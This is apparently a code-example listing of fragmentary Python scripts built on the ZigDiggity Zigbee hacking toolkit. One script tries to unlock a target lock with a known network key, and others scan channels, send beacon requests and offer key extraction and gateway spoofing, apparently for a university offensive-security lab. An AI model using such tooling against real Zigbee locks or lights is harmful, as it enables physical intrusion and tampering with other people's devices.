Esempio n. 1
0
from zigdiggity.misc.actions import *
from zigdiggity.interface.components.logo import Logo

parser = argparse.ArgumentParser(description='Attempt to unlock the target lock')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
parser.add_argument('-a','--address',action='store',type=lambda s: int(s.replace(':',''),16),dest='address',required=True,help='The address of the device to target')
parser.add_argument('-k','--key',action='store',type=lambda s: int(s.replace(':',''),16),dest='key',required=True,help='The network encryption key of the target network')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)

if args.wireshark:
    wireshark = WiresharkObserver()
    radio.add_observer(wireshark)

TARGET_EPAN = args.epan
NWK_KEY = struct.pack(">QQ",args.key>>64,args.key%(2**64))
channel = args.channel
target_addr = args.address

start_time = time.time()

radio.set_channel(channel)

panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
Esempio n. 2
0
                    dest='epan',
                    required=True,
                    help='The Extended PAN ID of the network to target')
parser.add_argument('-w',
                    '--wireshark',
                    action='store_true',
                    dest='wireshark',
                    required=False,
                    help='The Extended PAN ID of the network to target')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)

if args.wireshark:
    wireshark = WiresharkObserver()
    radio.add_observer(wireshark)


def handle_interrupt(signal, frame):
    global interrupted
    print_notify("Exiting the current script")
    interrupted = True


CHANNEL = args.channel
TARGET_EPAN = args.epan
Esempio n. 3
0
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import argparse
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
import zigdiggity.observers.utils as observer_utils
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *
from zigdiggity.interface.console import print_notify
from zigdiggity.interface.components.logo import Logo
from zigdiggity.misc.timer import Timer

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)
observer_utils.register_wireshark(radio)

CHANNELS = [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]
for channel in CHANNELS:
    radio.set_channel(channel)

    print_notify("Listening to channel %d" % radio.get_channel())

    timer = Timer(10)
    while (not timer.has_expired()):
        result = radio.receive()
Esempio n. 4
0
                    dest='channel',
                    required=True,
                    help='Channel to use')
parser.add_argument('-w',
                    '--wireshark',
                    action='store_true',
                    dest='wireshark',
                    required=False,
                    help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)

if args.wireshark:
    wireshark = WiresharkObserver()
    radio.add_observer(wireshark)

radio.set_channel(args.channel)

print_notify("Sending the beacon request")
radio.send(beacon_request(random.randint(0, 255)))

timer = Timer(5)
while not timer.has_expired():
    radio.receive()

radio.off()
Esempio n. 5
0
    return os.system('clear')


clear()

print("\n")

logo = Logo()
logo.print()

print_info("Welcome to the Zigbee Lighting Link (Ikea Tradfri) Hacking tool!")
print_info("By group 102 for Lab on offenive Computer Security.")
wireshark = None

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)

while True:
    questions = [{
        'type':
        'list',
        'name':
        'program',
        'message':
        'What would you like to do?',
        'choices': [
            '1. Scan Zigbee channels for Networks',
            '2. Listen on ZigBee channel', '3. Extract key on device join',
            '4. Spoof the gateway'
        ],
    }, {